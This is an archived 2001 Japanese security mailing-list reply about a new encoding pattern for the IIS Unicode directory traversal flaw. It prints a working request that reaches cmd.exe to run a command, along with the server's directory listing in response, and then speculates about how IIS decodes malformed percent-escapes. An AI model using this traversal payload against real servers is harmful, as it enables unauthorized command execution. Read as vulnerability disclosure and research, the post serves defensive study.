[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[stalk:00162] Re: IIS-Unicode ニューパターン発見 (Re: βパッチ公開しました)
- To: <security-talk@xxxxxxxxxxxxx>
- Subject: [stalk:00162] Re: IIS-Unicode ニューパターン発見 (Re: βパッチ公開しました)
- From: "他力本願堂" <tarikihongandou@xxxxxxxxxxx>
- Date: Sat, 24 Mar 2001 02:04:53 +0900
☆★@☆★☆.★ ソニー サイバーショット が当たる! ☆★@☆★☆.★
自動車保険 最大15社を【無料】一括見積もり 「保険スクエアbang!」
ココをクリック!⇒ http://www.easyml.com/1099.php3
------------------------------------------------------------------------
たりきです。
ピリオドになるコードの転置(?)表現に触れられていなかったと
思いますが、ソイツも少なくともIIS4.0だと通ります。
%c0%9u -> %c0%ae+%0f => "."
------------------------------------------
GET /scripts/%c0%ae%c0%9u/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
------------------------------------------
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 23 Mar 2001 16:47:02 GMT
Content-Type: application/octet-stream
Volume in drive C is NT40SYS
Volume Serial Number is 50C1-C205
Directory of C:\InetPub\scripts
00/04/04 12:16 <DIR> .
00/04/04 12:16 <DIR> ..
00/04/04 12:16 <DIR> samples
00/04/04 12:16 <DIR> tools
4 File(s) 0 bytes
2,648,537,088 bytes free
------------------------------------------
ここからは私の妄想かも知れません、と一応断っておいて、と。
だいたいからしてほぼASCIIなアルファベットや数字って他の
コード体系でも同じ位置にあると思い込んでいたりしますが、
それが真だとしたら以下のことがなりたつかも知れません。
キャラクタコードによって
(二ケタ目-'0')*16+下一ケタ-'0'
(二ケタ目-'a')*16+下一ケタ-'a'
(二ケタ目-'A')*16+下一ケタ-'A'
ってことぢゃないかしら。
つまり、"%"を発見したら、続く二ケタを見て
'A'〜なら、-'A'して+10する
'a'〜なら、-'a'して+10する
'0'〜なら、-'0'する
というロジックを通したあとで
(二ケタ目)*16+(一ケタ目)をしてコードを作ってやりゃいいんじゃ
ないのかなあ。
先の例なら
%c0%9u -> %c0%ae+%0f => "."
%c0はそのまま192。
%9uは9*16+('u'-'a'+10)で144+30=174
192*256+174=49326=0xc0ae
同じコトを%XXが続くかぎりそれらをケタ数として算出して
いるのかも知れません。
三ケタの場合だと、三ケタ目は3364倍されるってことになりますね。
4ケタ表現ってそもそもUNICODEで存在するんすか?私が知らない
だけかも知れませんが。
記号のたぐいにあてはまる位置とかで試せたらわかるかな?
これなら、下一ケタがキャラクタコードで16だけシフトしたとき、
二ケタ目が繰り上がる理由も通ります。
ってことは、32だけ増やした場合は二ケタ目は-2で表記される
のかな?と思ったけど、ASCIIだと文字が定義されてなかったり
先に大文字で解釈されたりになっちゃうみたい。
つか、ちゃんと試してないだけなんですが。キャラクタコードに無くて
もバイナリイメージで送出すりゃいいんですからねえ。
他力本願堂本舗-----------------------
http://tarikihongandou.shadowpenguin.org
mailto:tarikihongandou@xxxxxxxxxxxxxxxxx
tarikihongandou@xxxxxxxxxxx
--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
インフォシーク★オススメお花見スポット&全国各地の桜開花情報!
http://www.infoseek.co.jp/Playspot?pg=playspot_top.html&svx=971122